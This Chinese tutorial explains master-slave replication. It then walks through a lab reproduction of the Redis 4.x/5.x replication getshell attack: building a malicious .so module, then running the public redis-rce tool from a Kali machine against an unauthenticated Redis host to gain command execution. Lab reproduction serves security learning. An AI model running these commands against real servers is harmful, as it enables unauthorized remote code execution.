先解释一下主从复制:
主从复制,是用来建立一个和主数据库完全一样的数据库环境,称为从数据库,主数据库一般是准实时的业务数据库。一台服务器充当主服务器,而另外一台服务器充当从服务器。
此时主服务器会将更新信息写入到一个特定的二进制文件中,并会维护文件的一个索引用来跟踪日志循环,这个日志可以记录并发送到从服务器的更新中去。
一台从服务器连接到主服务器时,从服务器会通知主服务器从服务器的日志文件中读取最后一次成功更新的位置。然后从服务器会接收从哪个时刻起发生的任何更新,然后锁住并等到主服务器通知新的更新。
读写分离简单俩说就是基于主从复制架构,一个主库,有多个从库,主库主要负责写,写完后主库会自动把数据给同步给从库。
关于redis主从复制getshell:
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
复现:
攻击机:kali 192.168.148.149 python
靶机:centos7 192.168.148.142 redis未授权访问
Kali上生成恶意.so文件:
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
然后下载利用工具,然后把刚刚生成恶意.so文件移至利用工具目录下
git clone https://github.com/Ridter/redis-rce
mv module.so/root/redis/RedisModules-ExecuteCommand/redis-rce/
最后在kali上运行py文件getshell
python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f恶意.so
python redis-rce.py -r 192.168.148.142 -p6379 -L 192.168.148.149 -f module.so